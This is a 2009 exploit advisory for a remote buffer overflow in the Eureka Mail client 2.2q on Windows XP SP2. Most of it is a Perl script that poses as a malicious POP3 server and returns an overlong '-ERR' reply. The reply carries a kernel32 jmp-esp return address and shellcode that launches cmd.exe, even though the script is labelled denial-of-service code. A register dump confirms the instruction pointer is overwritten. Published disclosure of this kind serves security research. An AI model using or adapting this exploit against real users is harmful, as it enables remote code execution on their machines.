############
#############
Application: Eureka Mail client
Platforms: Windows XP Professional SP2
Exploitation: remote BoF
Date: 2009-10-06
Author: Francis Provencher (Protek Research Lab's)
Special Thanks to: M Jeremy Brown
#############
1) Introduction
2) Technical details
3) The Code
#############
===============
1) Introduction
===============
Sick of junk email? Bored of all email programs looking the same? Take a look at Eureka Email and see how different things could be...
Eureka Email has a built in junk email filter which can remove about 95% of your spam and it continually learns as it comes across new junk emails. You can customise the program so each of your friends has their own icon and sound for when they send you an email. You can also set up special accounts for your children so that they never get to see sexually explicit or offensive junk emails.
(from Eureka Mail website)
#############
============================
2) Technical details
============================
Eureka Mail 2.2q
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0054007a ecx=7c92005d edx=00230000 esi=00475bf8 edi=00473678
eip=41414141 esp=0012cd6c ebp=00475bfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
#############
===========
3) The Code
===========
Proof of concept DoS code;
#!/usr/bin/perl
use IO::Socket;
$ret = 0x7C867877; # Jump ESP Kernel32.dll 0x7C867877
$port = 110;
# Simple cmd.exe
$sc2 = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" .
"\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" .
"\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" .
"\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" .
"\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
$serv = IO::Socket::INET->new(Proto=>'tcp',
LocalPort=>$port,
Listen=>1)
or die "Error: listen($port)\n";
$cli = $serv->accept() or die "Error: accept()\n";
$retaddr = pack('l', $ret);
$junk = "A" x 709;
$payload = "-ERR " . $junk . $retaddr . "\x90" x 1 . $sc2 . "\r\n"; # 714 to overwrite EIP
$cli->send($payload);
close($cli);
close($serv);
#############
(PRL-2009-11)
